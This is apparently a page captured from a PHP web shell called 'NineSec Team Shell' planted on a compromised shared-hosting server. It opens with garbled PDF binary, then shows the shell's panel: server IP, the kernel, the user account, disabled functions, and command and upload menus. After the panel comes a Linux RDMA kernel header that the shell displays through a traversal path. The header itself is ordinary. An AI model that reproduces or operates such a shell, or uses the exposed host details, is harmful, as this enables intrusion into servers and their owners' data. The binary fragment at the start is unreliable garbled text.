%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 82.180.170.48  /  Your IP : 216.73.216.116
Web Server : LiteSpeed
System : Linux us-phx-web1609.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : u636808025 ( 636808025)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../dev/../proc/../bin/../lib/../sbin/../../opt/../usr/lib/../include/rdma/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../dev/../proc/../bin/../lib/../sbin/../../opt/../usr/lib/../include/rdma/rdma_user_rxe.h
/* SPDX-License-Identifier: ((GPL-2.0 WITH Linux-syscall-note) OR Linux-OpenIB) */
/*
 * Copyright (c) 2016 Mellanox Technologies Ltd. All rights reserved.
 *
 * This software is available to you under a choice of one of two
 * licenses.  You may choose to be licensed under the terms of the GNU
 * General Public License (GPL) Version 2, available from the file
 * COPYING in the main directory of this source tree, or the
 * OpenIB.org BSD license below:
 *
 *     Redistribution and use in source and binary forms, with or
 *     without modification, are permitted provided that the following
 *     conditions are met:
 *
 *	- Redistributions of source code must retain the above
 *	  copyright notice, this list of conditions and the following
 *	  disclaimer.
 *
 *	- Redistributions in binary form must reproduce the above
 *	  copyright notice, this list of conditions and the following
 *	  disclaimer in the documentation and/or other materials
 *	  provided with the distribution.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
 * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
 * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */

#ifndef RDMA_USER_RXE_H
#define RDMA_USER_RXE_H

#include <linux/types.h>
#include <linux/socket.h>
#include <linux/in.h>
#include <linux/in6.h>

enum {
	RXE_NETWORK_TYPE_IPV4 = 1,
	RXE_NETWORK_TYPE_IPV6 = 2,
};

union rxe_gid {
	__u8	raw[16];
	struct {
		__be64	subnet_prefix;
		__be64	interface_id;
	} global;
};

struct rxe_global_route {
	union rxe_gid	dgid;
	__u32		flow_label;
	__u8		sgid_index;
	__u8		hop_limit;
	__u8		traffic_class;
};

struct rxe_av {
	__u8			port_num;
	/* From RXE_NETWORK_TYPE_* */
	__u8			network_type;
	__u8			dmac[6];
	struct rxe_global_route	grh;
	union {
		struct sockaddr_in	_sockaddr_in;
		struct sockaddr_in6	_sockaddr_in6;
	} sgid_addr, dgid_addr;
};

struct rxe_send_wr {
	__aligned_u64		wr_id;
	__u32			reserved;
	__u32			opcode;
	__u32			send_flags;
	union {
		__be32		imm_data;
		__u32		invalidate_rkey;
	} ex;
	union {
		struct {
			__aligned_u64 remote_addr;
			__u32	length;
			__u32	rkey;
			__u8	type;
			__u8	level;
		} flush;
		struct {
			__aligned_u64 remote_addr;
			__u32	rkey;
			__u32	reserved;
		} rdma;
		struct {
			__aligned_u64 remote_addr;
			__aligned_u64 compare_add;
			__aligned_u64 swap;
			__u32	rkey;
			__u32	reserved;
		} atomic;
		struct {
			__u32	remote_qpn;
			__u32	remote_qkey;
			__u16	pkey_index;
			__u16	reserved;
			__u32	ah_num;
			__u32	pad[4];
			struct rxe_av av;
		} ud;
		struct {
			__aligned_u64	addr;
			__aligned_u64	length;
			__u32		mr_lkey;
			__u32		mw_rkey;
			__u32		rkey;
			__u32		access;
		} mw;
		/* reg is only used by the kernel and is not part of the uapi */
	} wr;
};

struct rxe_sge {
	__aligned_u64 addr;
	__u32	length;
	__u32	lkey;
};

struct mminfo {
	__aligned_u64		offset;
	__u32			size;
	__u32			pad;
};

struct rxe_dma_info {
	__u32			length;
	__u32			resid;
	__u32			cur_sge;
	__u32			num_sge;
	__u32			sge_offset;
	__u32			reserved;
	union {
		__DECLARE_FLEX_ARRAY(__u8, inline_data);
		__DECLARE_FLEX_ARRAY(__u8, atomic_wr);
		__DECLARE_FLEX_ARRAY(struct rxe_sge, sge);
	};
};

struct rxe_send_wqe {
	struct rxe_send_wr	wr;
	__u32			status;
	__u32			state;
	__aligned_u64		iova;
	__u32			mask;
	__u32			first_psn;
	__u32			last_psn;
	__u32			ack_length;
	__u32			ssn;
	__u32			has_rd_atomic;
	struct rxe_dma_info	dma;
};

struct rxe_recv_wqe {
	__aligned_u64		wr_id;
	__u32			reserved;
	__u32			padding;
	struct rxe_dma_info	dma;
};

struct rxe_create_ah_resp {
	__u32 ah_num;
	__u32 reserved;
};

struct rxe_create_cq_resp {
	struct mminfo mi;
};

struct rxe_resize_cq_resp {
	struct mminfo mi;
};

struct rxe_create_qp_resp {
	struct mminfo rq_mi;
	struct mminfo sq_mi;
};

struct rxe_create_srq_resp {
	struct mminfo mi;
	__u32 srq_num;
	__u32 reserved;
};

struct rxe_modify_srq_cmd {
	__aligned_u64 mmap_info_addr;
};

/* This data structure is stored at the base of work and
 * completion queues shared between user space and kernel space.
 * It contains the producer and consumer indices. Is also
 * contains a copy of the queue size parameters for user space
 * to use but the kernel must use the parameters in the
 * rxe_queue struct. For performance reasons arrange to have
 * producer and consumer indices in separate cache lines
 * the kernel should always mask the indices to avoid accessing
 * memory outside of the data area
 */
struct rxe_queue_buf {
	__u32			log2_elem_size;
	__u32			index_mask;
	__u32			pad_1[30];
	__u32			producer_index;
	__u32			pad_2[31];
	__u32			consumer_index;
	__u32			pad_3[31];
	__u8			data[];
};

#endif /* RDMA_USER_RXE_H */

NineSec Team - 2022